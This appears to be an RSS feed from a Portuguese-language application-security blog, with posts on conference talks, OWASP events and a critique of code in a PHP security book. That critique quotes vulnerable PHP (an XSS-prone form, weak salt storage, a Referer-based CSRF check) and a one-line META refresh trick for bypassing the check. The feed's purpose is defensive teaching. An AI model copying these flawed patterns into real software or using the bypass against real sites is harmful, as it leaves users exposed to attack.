<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Wagner Elias - Think Security First</title>
	
	<link>http://wagnerelias.com</link>
	<description>BCP, BIA, DRP, Security Assessment, Risk Assessment, Security Developer</description>
	<lastBuildDate>Thu, 04 Mar 2010 13:49:32 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/WagnerElias-ThinkSecurityFirst" /><feedburner:info uri="wagnerelias-thinksecurityfirst" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>WagnerElias-ThinkSecurityFirst</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Php Security – Nem tudo que é publicado deve ser seguido</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/SG22SxJQqVk/</link>
		<comments>http://wagnerelias.com/2010/03/04/php-security-nem-tudo-que-e-publicado-deve-ser-seguido/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 13:14:17 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/?p=692</guid>
		<description><![CDATA[Eu estava lendo o livro: Pro PHP Security (Chris Snyder and Michael Southwell) - Apress. É no passado mesmo, eu não li o resto, pois analisando os códigos no começo do livro encontrei algumas falhas, incluindo problemas de design e arquitetura.
1 - Uso de variáveis Super Globals do Php sem sanitização - página 77
&#60;form action="&#60;? [...]]]></description>
			<content:encoded><![CDATA[<p>Eu estava lendo o livro: Pro PHP Security (Chris Snyder and Michael Southwell) - Apress. É no passado mesmo, eu não li o resto, pois analisando os códigos no começo do livro encontrei algumas falhas, incluindo problemas de design e arquitetura.</p>
<p><strong>1 - Uso de variáveis Super Globals do Php sem sanitização - página 77</strong></p>
<blockquote><p>&lt;form action="&lt;? $_SERVER['SCRIPT_NAME']" method="post"&gt;<br />
&lt;p&gt;<br />
username: &lt;input type="text" name="userName" size="32" /&gt;&lt;br /&gt;<br />
username: &lt;input type="password" name="userPassword" size="16" /&gt;&lt;br /&gt;<br />
&lt;input type="submit" name="submit" value="login" /&gt;<br />
&lt;p&gt;<br />
&lt;/form&gt;</p></blockquote>
<p>Estas variáveis como qualquer input podem ser manipuladas, o que torna este form vulnerável a XSS (Cross Site Scripting).</p>
<p><strong>2 - Implementação inadequada de salt - página 78<br />
</strong><br />
O livro começou bem neste ponto, sugerindo a utilização de salt como recurso para fortalecer os hashs de senha. Mas, como geralmente acontece, a idéia é boa mas a implementação é ruim.</p>
<blockquote><p>$salt = time();<br />
$hashedPassword = sha1($userPassword . $salt);</p></blockquote>
<p>O código apresentado sugere gerar um hash no momento da criação baseado em time(). Como comparar este resultado na hora de cada login se o time() tem um valor que não é fixo? Eles sugerem armazenar um hash em um campo na mesma tabela de usuários, junto com o hash da senha.</p>
<blockquote><p>$query = 'INSERT INTO LOGIN VALUES (' . dbSafe($userName) . ', ' . dbSafe($hashedPassword) . ',' .dbSafe($salt) . ')';</p></blockquote>
<p>Geralmente o comprometimento dos hashs de senhas acontece por falhas de SQL Injection, portanto se o usuário mal intencionado pega o hash e salt numa paulada só e consegue reverter a senha (óbvio que aqui estamos falando de senhas com baixa complexidade e que podem ser revertidas por base de hashs pré-compilados).</p>
<p>Este é o típico caso onde existe a exceção, se em código compilado e local não é recomendado a senha hard-coded, neste caso em linguagem interpretada como php, asp é mais seguro que quardar no banco, pois para comprometer o salt ele precisa ter acesso aos diretórios do servidor de aplicação.</p>
<p>As páginas seguintes são uma enrolação danada e nada de código, nem vulnerável. Ai fiquei curioso para ver quais eram as sugestões para controles de sessão,uma falha comum em aplicações.</p>
<p><strong>3 - Controle inadequado contra CSRF/XSRF (Cross Site Request Forgery) - Página 402<br />
</strong></p>
<blockquote><p>&lt;?php</p>
<p>$referrer = $_SERVER['HTTP_REFERER'];<br />
if (!empty($referrer)) {<br />
$uri = parse_url($referrer);<br />
if ($uri['host'] != $_SERVER['HTTP_HOST']) {<br />
exit("Form submissions from $referrer not allowed.");<br />
}<br />
}</p>
<p>else {<br />
exit('Referrer not found. Please &lt;a href="' . $_SERVER['SCRIP_NAME'] . '"&gt;try again&lt;/a&gt;.');<br />
}</p>
<p>?&gt;</p></blockquote>
<p>O referer é um recurso do HTTP que informa de onde a requisição está vindo, mas como é coletado usando uma variável Super Global, pode ser manipulado como analisamos no início do post na falha número 1. Controles efetivos para CSRF/XSRF são token de sessão com boa entropia e solicitar uma nova autenticação em operações críticas.</p>
<p>Para forjar um referer e bypassar este controle pode ser usado scripts que geram um referer, exemplo:</p>
<blockquote><p>&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=[url a ser atacada];"&gt;</p></blockquote>
<p>Não preciso nem falar que não li o livro todo. Não recomendo, o livro não acrescenta praticamente nada em segurança e ainda comete erros grosseiros.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2010/03/04/php-security-nem-tudo-que-e-publicado-deve-ser-seguido/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2010/03/04/php-security-nem-tudo-que-e-publicado-deve-ser-seguido/</feedburner:origLink></item>
		<item>
		<title>Tratando o Top 10 da OWASP em aplicações .Net</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/08Tt97HV2H0/</link>
		<comments>http://wagnerelias.com/2009/12/05/tratando-o-top-10-da-owasp-em-aplicacoes-net/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 08:09:39 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/12/05/tratando-o-top-10-da-owasp-em-aplicacoes-net/</guid>
		<description><![CDATA[Organizando minhas apresentações eu encontrei esta apresentação que eu fiz no Tech-Ed 2007. A idéia da palestra era comparar, mostrar as diferenças entre o OWASP Top 10 2004 e o 2007 e também apresentar alternativas para tratamento das vulnerabilidades apresentadas utilizando os recursos da plataforma .Net.

OWASP Top 10 e aplicações .Net - Tech-Ed 2007

View more [...]]]></description>
			<content:encoded><![CDATA[<p>Organizando minhas apresentações eu encontrei esta apresentação que eu fiz no Tech-Ed 2007. A idéia da palestra era comparar, mostrar as diferenças entre o OWASP Top 10 2004 e o 2007 e também apresentar alternativas para tratamento das vulnerabilidades apresentadas utilizando os recursos da plataforma .Net.
<div align="center">
<div style="width: 425px; text-align: left;" id="__ss_2623083"><a style="margin: 12px 0pt 3px; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; display: block; text-decoration: underline;" href="http://www.slideshare.net/conviso/owasp-top-10-e-aplicaes-net-teched-2007" title="OWASP Top 10 e aplicações .Net - Tech-Ed 2007">OWASP Top 10 e aplicações .Net - Tech-Ed 2007</a>
<div class="youtube-video"><object style="margin: 0px;" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=seg402welias-091201065755-phpapp02&amp;stripped_title=owasp-top-10-e-aplicaes-net-teched-2007"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=seg402welias-091201065755-phpapp02&amp;stripped_title=owasp-top-10-e-aplicaes-net-teched-2007" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></div>
<div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;">View more <a style="text-decoration: underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration: underline;" href="http://www.slideshare.net/conviso">Conviso IT Security</a>.</div>
</div>
</div>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=49265673-604c-8566-8a92-fd87f488518b" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/12/05/tratando-o-top-10-da-owasp-em-aplicacoes-net/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/12/05/tratando-o-top-10-da-owasp-em-aplicacoes-net/</feedburner:origLink></item>
		<item>
		<title>Conteúdo da apresentação na Hacker to Hackers Conference 2009</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/SKYFf8hZIlc/</link>
		<comments>http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-hacker-to-hackers-conference-2009/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 08:05:48 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-hacker-to-hackers-conference-2009/</guid>
		<description><![CDATA[Palestrar na H2HC é sempre uma grande experiência, além de encontrar vários amigos que reencontro nestes tipos de eventos, ainda tenho a possibilidade de conversar discutir sobre assuntos pouco discutidos em meios tradicionais. Este ano eu fiz uma apresentação explorando a técnica Fuzzy para identificar falhas em aplicação Web. Encontrar um auditório cheio as 8hrs. [...]]]></description>
			<content:encoded><![CDATA[<p>Palestrar na H2HC é sempre uma grande experiência, além de encontrar vários amigos que reencontro nestes tipos de eventos, ainda tenho a possibilidade de conversar discutir sobre assuntos pouco discutidos em meios tradicionais. Este ano eu fiz uma apresentação explorando a técnica Fuzzy para identificar falhas em aplicação Web. Encontrar um auditório cheio as 8hrs. da manhã de um Domingo com chuva e pós a festa da conferência, foi sensacional. Obrigado a todos. Uma pena que a apresentação é bastante voltada para interação, discussão e apresentação de demonstrações sobre o tema, não gosto de muitos slides. ;-(</p>
<p>Mas aguardem, em breve os vídeos serão disponibilizados.</p>
<div align="center">
<div style="width: 425px; text-align: left;" id="__ss_2623135"><a style="margin: 12px 0pt 3px; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; display: block; text-decoration: underline;" href="http://www.slideshare.net/conviso/playing-web-fuzzing-h2hc-2009" title="Playing Web Fuzzing - H2HC 2009">Playing Web Fuzzing - H2HC 2009</a>
<div class="youtube-video"><object style="margin: 0px;" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=playingwebfuzzing29112009v1-091201070743-phpapp02&amp;stripped_title=playing-web-fuzzing-h2hc-2009"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=playingwebfuzzing29112009v1-091201070743-phpapp02&amp;stripped_title=playing-web-fuzzing-h2hc-2009" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></div>
<div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;">View more <a style="text-decoration: underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration: underline;" href="http://www.slideshare.net/conviso">Conviso IT Security</a>.</div>
</div>
<p></div>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=03e99375-dab0-8c41-b77c-b33b1cca8e96" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-hacker-to-hackers-conference-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-hacker-to-hackers-conference-2009/</feedburner:origLink></item>
		<item>
		<title>Conteúdo da apresentação na Php Conference 2009</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/hU7eMxfgYLY/</link>
		<comments>http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-php-conference-2009/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 07:59:29 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-php-conference-2009/</guid>
		<description><![CDATA[No último dia 27 de Novembro eu tive a oportunidade de realizar uma apresentação técnica sobre o funcionamento e utilização do PHPIDS para proteger aplicações php. A apresentação foi complementada com várias demonstrações e o público interagiu bastante. Obrigado a todos os que compareceram.


Protegendo Aplicações Php com PHPIDS - Php Conference 2009

View more presentations from [...]]]></description>
			<content:encoded><![CDATA[<div align="center">No último dia 27 de Novembro eu tive a oportunidade de realizar uma apresentação técnica sobre o funcionamento e utilização do PHPIDS para proteger aplicações php. A apresentação foi complementada com várias demonstrações e o público interagiu bastante. Obrigado a todos os que compareceram.</div>
<p>
<div align="center">
<div style="width: 425px; text-align: left;" id="__ss_2623153"><a style="margin: 12px 0pt 3px; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; display: block; text-decoration: underline;" href="http://www.slideshare.net/conviso/protegendo-aplicaes-php-com-phpids-php-conference-2009" title="Protegendo Aplicações Php com PHPIDS - Php Conference 2009">Protegendo Aplicações Php com PHPIDS - Php Conference 2009</a>
<div class="youtube-video"><object style="margin: 0px;" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=phpconference27112009v1-091201071148-phpapp01&amp;stripped_title=protegendo-aplicaes-php-com-phpids-php-conference-2009"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=phpconference27112009v1-091201071148-phpapp01&amp;stripped_title=protegendo-aplicaes-php-com-phpids-php-conference-2009" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></div>
<div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;">View more <a style="text-decoration: underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration: underline;" href="http://www.slideshare.net/conviso">Conviso IT Security</a>.</div>
</div>
</div>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=d17fa5c8-e4d6-8890-93b8-b90520e8e43e" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-php-conference-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/12/05/conteudo-da-apresentacao-na-php-conference-2009/</feedburner:origLink></item>
		<item>
		<title>OWASP AppSec Brasil 2009 – Um Sucesso!</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/g1Y_WkLFjCA/</link>
		<comments>http://wagnerelias.com/2009/11/06/owasp-appsec-brasil-2009-um-sucesso/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 17:42:53 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/11/06/owasp-appsec-brasil-2009-um-sucesso/</guid>
		<description><![CDATA[Há pouco mais de um ano atrás quando iniciamos as conversas para organizar um evento OWASP no Brasil, as dificuldades não foram poucas, pois os custos não são baixos para realizar um grande evento como a comunidade merece.
Foi então que o meu amigo Lucas Ferreira, como bom mineiro, de repente sem grande alarde ele conseguiu [...]]]></description>
			<content:encoded><![CDATA[<p>Há pouco mais de um ano atrás quando iniciamos as conversas para organizar um evento OWASP no Brasil, as dificuldades não foram poucas, pois os custos não são baixos para realizar um grande evento como a comunidade merece.</p>
<p>Foi então que o meu amigo Lucas Ferreira, como bom mineiro, de repente sem grande alarde ele conseguiu um apoio da Câmara dos Deputados e do TI Controle e conseguiu viabilizar um evento sensacional.</p>
<p>Passado o trabalho da organização, chegou a tão aguarda hora. No dia 27 e 28 aconteceram os Mini-Cursos, muitos inscritos e conteúdo de boa qualidade. Dia 29 e 30 aconteceram as palestras. Após a abertura do evento com a participação de representante da OWASP e políticos, Gary McGraw entrou em cena e deu um show, não, ele não é nenhum astro da música, mas sim um dos maiores especialistas em segurança em desenvolvimento e cativou a platéia como poucos.</p>
<p>Passado o show de Gary, os outros palestrantes manteram o altíssimo nível do evento. Até o Ulisses Castro que foi convocado as pressas, pois 3 palestrantes internacionais tiveram sintomas da gripe H1N1, assumiu o compromisso e deu um show com uma palestra bastante técnica e 100% prática.</p>
<p>Todas as palestras podem ser conferidas nos vídeos disponibilizados pela Câmara:<br /><a href="http://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29#tab=Arquivos_das_Apresenta.C3.A7.C3.B5es">http://www.owasp.org/index.php/AppSec_Brasil_2009_%28pt-br%29#tab=Arquivos_das_Apresenta.C3.A7.C3.B5es</a></p>
<p>A AppSec 2010 já está confirmada no Auditório da CpQD e contamos com o apoio da comunidade para realizar mais um grande evento.</p>
<p>Got OWASP?</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=ad5586aa-8701-876b-8ca6-43d214576733" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/11/06/owasp-appsec-brasil-2009-um-sucesso/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/11/06/owasp-appsec-brasil-2009-um-sucesso/</feedburner:origLink></item>
		<item>
		<title>Microsoft Hello Secure World</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/sDKrj7Rq8Qk/</link>
		<comments>http://wagnerelias.com/2009/10/05/microsoft-hello-secure-world/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 18:34:49 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/10/05/microsoft-hello-secure-world/</guid>
		<description><![CDATA[A Microsoft disponibiliza um ambiente onde é possível fazer laboratórios explorando as seguintes vulnerabilidades:

XSS (Cross Site Scripting)
SQLi (SQL Injection)
Canonicalization Attack
CSRF (Cross Site Request Forgery)
Integer Overflow/Undeflow

Para explorar os laboratórios online siga estes passos:
1 - acesse o seguinte endereço: http://www.microsoft.com/click/hellosecureworld/default.mspx2 - Clique no leitor biométrico para entrar nos laboratórios3 - Instale os plugins necessários4 - Clique em [...]]]></description>
			<content:encoded><![CDATA[<p>A Microsoft disponibiliza um ambiente onde é possível fazer laboratórios explorando as seguintes vulnerabilidades:
<ul>
<li>XSS (Cross Site Scripting)</li>
<li>SQLi (SQL Injection)</li>
<li>Canonicalization Attack</li>
<li>CSRF (Cross Site Request Forgery)</li>
<li>Integer Overflow/Undeflow</li>
</ul>
<p>Para explorar os laboratórios online siga estes passos:</p>
<p>1 - acesse o seguinte endereço: <a href="http://www.microsoft.com/click/hellosecureworld/default.mspx">http://www.microsoft.com/click/hellosecureworld/default.mspx</a><br />2 - Clique no leitor biométrico para entrar nos laboratórios<br />3 - Instale os plugins necessários<br />4 - Clique em The V-Lab no lado inferior direito<br />5 - Escolha o teste que deseja explorar<br />6 - Enjoy!</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=d17fa5c8-e4d6-8890-93b8-b90520e8e43e" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/10/05/microsoft-hello-secure-world/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/10/05/microsoft-hello-secure-world/</feedburner:origLink></item>
		<item>
		<title>Playing Web Fuzzer</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/Dtd2G9PLfHU/</link>
		<comments>http://wagnerelias.com/2009/10/05/playing-web-fuzzer/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 17:25:13 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/10/05/playing-web-fuzzer/</guid>
		<description><![CDATA[Nos dias 28 e 29 acontece a sexta edição da Hackers to Hackers Conference. Eu estarei apresentando uma palestra sobre Fuzzing&#160; em aplicações Web. Confira os detalhes da apresentação.Playing Web Fuzzer
A palestra irá mostrar as vantagens e técnicas usadas para identificar falhas em aplicações WEB usando Fuzzer. Para isto serão feitas demonstrações utilizando ferramentas como [...]]]></description>
			<content:encoded><![CDATA[<p>Nos dias 28 e 29 acontece a sexta edição da <a href="http://www.h2hc.org.br/"><b>Hackers to Hackers Conference</b></a>. Eu estarei apresentando uma palestra sobre Fuzzing&nbsp; em aplicações Web. Confira os detalhes da apresentação.<br /><b><br />Playing Web Fuzzer</b></p>
<p>A palestra irá mostrar as vantagens e técnicas usadas para identificar falhas em aplicações WEB usando Fuzzer. Para isto serão feitas demonstrações utilizando ferramentas como WebSlayer e JBroFuzz e os recursos do OWASP Fuzzing Code Database Project. </p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=06047a0c-c4ae-8650-8b1f-e082e30cd4b2" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/10/05/playing-web-fuzzer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/10/05/playing-web-fuzzer/</feedburner:origLink></item>
		<item>
		<title>Protegendo aplicações em php com PHPIDS</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/hpPGxaSyQgg/</link>
		<comments>http://wagnerelias.com/2009/10/05/protegendo-aplicacoes-em-php-com-phpids/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 17:21:05 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/10/05/protegendo-aplicacoes-em-php-com-phpids/</guid>
		<description><![CDATA[Nos dias 27, 28 e 29 Novembro estarei na Php Conference Brasil 2009 apresentando uma palestra sobre PHPIDS, confira os detalhes da apresentação.
Trilha: SegurançaTítulo: Protegendo aplicação php com PHPIDS
Nível: Avançado
Resumo: Trate ataques SQLi, XSS, dentre outros que compõem ranking de vulnerabilidades como o Top 10 da OWASP (Open Web Application Security Project) em aplicações web [...]]]></description>
			<content:encoded><![CDATA[<p>Nos dias 27, 28 e 29 Novembro estarei na <a href="http://www.phpconf.com.br/"><b>Php Conference Brasil 2009</b></a> apresentando uma palestra sobre PHPIDS, confira os detalhes da apresentação.</p>
<p><b>Trilha:</b> Segurança<br /><b><br />Título:</b> Protegendo aplicação php com PHPIDS</p>
<p><b>Nível:</b> Avançado</p>
<p><b>Resumo:</b> Trate ataques SQLi, XSS, dentre outros que compõem ranking de vulnerabilidades como o Top 10 da OWASP (Open Web Application Security Project) em aplicações web desenvolvidas em php usando o PHPIDS.</p>
<p><b>Descrição:</b> Além de processos e técnicas para desenvolver código seguro é necessário investir em soluções de respostas a ataques. Estas respostas geralmente são realizadas e suportadas por soluções de WAF (Web Application Firewall). O PHPIDS é um Intrusion Detection System e irá identificar e evitar os principais ataques, pode ser integrado a solução como HTML Purifier e Mencached.</p>
<p><b>Pré-Requisitos:</b> Conhecimentos de php e noções básicas de segurança em aplicações web.</p>
<p><b>Referências:</b><br />http://php-ids.org/<br />http://htmlpurifier.org/<br />http://www.danga.com/memcached/</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=d17fa5c8-e4d6-8890-93b8-b90520e8e43e" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/10/05/protegendo-aplicacoes-em-php-com-phpids/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/10/05/protegendo-aplicacoes-em-php-com-phpids/</feedburner:origLink></item>
		<item>
		<title>AppSec Brasil 2009 – CHAMADA PARA PARTICIPAÇÃO</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/9JQSqgDPQvA/</link>
		<comments>http://wagnerelias.com/2009/09/29/appsec-brasil-2009-chamada-para-participacao/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 11:02:31 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/09/29/appsec-brasil-2009-chamada-para-participacao/</guid>
		<description><![CDATA[Conferência internacional de Segurança de Aplicações, organizada e promovida pela comunidade TI-controle e pelo Centro de Informática da Câmara dos Deputados, em parceria com o OWASP, Capítulo brasil, e com apoio da Universidade de Brasília (UnB).
O Centro de Informática da Câmara dos Deputados e a Comunidade TI-Controle convidam a todos a participarem da Conferência Internacional [...]]]></description>
			<content:encoded><![CDATA[<p><b>Conferência internacional de Segurança de Aplicações</b>, organizada e promovida pela comunidade TI-controle e pelo Centro de Informática da Câmara dos Deputados, em parceria com o OWASP, Capítulo brasil, e com apoio da Universidade de Brasília (UnB).</p>
<p>O Centro de Informática da Câmara dos Deputados e a Comunidade TI-Controle convidam a todos a participarem da Conferência Internacional de Segurança de Aplicações (AppSec Brasil 2009), que ocorrerá na Câmara dos Deputados (Brasília, DF) de 27 a 30 de outubro de 2009.</p>
<p>Haverão mini-cursos nos dias 27 e 28 de outubro, seguidos de sessões plenárias de trilha única nos dias 29 e 30 de outubro de 2009. </p>
<p><b>Keynotes</b></p>
<p>Dr. Gary McGraw, CTO da Cigital<i><b>: </b>O Modelo de Maturidade Building Security In (BSIMM)</i></p>
<p>Jason Li, Aspect Security<i>: Ágil e Seguro: É possível fazer os dois?</i></p>
<p>Dinis Cruz, OWASP Board<i>: Apresentação do Projeto OWASP</i></p>
<p>Kuai Hinojosa, NY University e OWASP<i>: Implementando Aplicações Web Seguras Usando Recursos do OWASP</i></p>
<p><b>Palestras</b></p>
<p>A Conferência contará com palestras técnicas que tratarão diversos aspectos de Segurança de Aplicações. Os temas incluem:</p>
<ul>
<li>Segurança de aplicações web</li>
<li>Otimização de gastos com segurança</li>
<li><i>SQL Ownage</i></li>
<li>ferramentas.</li>
</ul>
<p><b>Mini-cursos</b></p>
<p>A Conferência contará também com 5 mini-cursos:</p>
<ul>
<li>Gestão de Riscos de Segurança Aplicada a Web Services</li>
<li>Segurança Web: Técnicas para Programação Segura de Aplicações</li>
<li>Segurança Computacional no Desenvolvimento de Web Services</li>
<li>Tecnologias de Segurança em Web Services</li>
<li>Hands on Web Application Testing using the OWASP Testing Guide.</li>
</ul>
<p><b>Local</b></p>
<p>A Conferência ocorrerá na Câmara dos Deputados, em Brasília. As plenárias serão no auditório Nereu Ramos, no Anexo II e os mini-cursos serão no Centro de Formação, Treinamento e Aperfeiçoamento.</p>
<p><b>Inscrições</b></p>
<p>A participação na Conferência será gratuita, mas, devido à limitação de lugares, será necessário inscrever-se previamente.</p>
<p>As inscrições estarão abertas a partir do dia 29/10/2009 na URL: <a title="http://www.camara.gov.br/appsecbrasil2009" href="http://www.camara.gov.br/appsecbrasil2009" id="h0fi">http://www.camara.gov.br/appsecbrasil2009</a></p>
<p><b>Informações</b></p>
<p>Para maiores informações, favor consultar os sites abaixo ou enviar email para appsec.brasil@camara.gov.br</p>
<ul>
<li>Inscrições e informações sobre a conferência: <a title="http://www.camara.gov.br/appsecbrasil2009" href="http://www.camara.gov.br/appsecbrasil2009" id="ajiq">http://www.camara.gov.br/appsecbrasil2009</a></li>
<li>Comunidade TI-Controle: <a href="http://www.ticontrole.gov.br/" class="external free" title="http://www.ticontrole.gov.br" rel="nofollow">http://www.ticontrole.gov.br</a>  </li>
<li>Câmara dos Deputados: <a href="http://www.camara.gov.br/" class="external free" title="http://www.camara.gov.br" rel="nofollow">http://www.camara.gov.br</a></li>
</ul>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=98a8ff5a-f033-8fcf-a8d8-e8d11b895cf3" /></div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/09/29/appsec-brasil-2009-chamada-para-participacao/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/09/29/appsec-brasil-2009-chamada-para-participacao/</feedburner:origLink></item>
		<item>
		<title>SDL (Secure Development Lifecycle) – Tão simples quanto parece?</title>
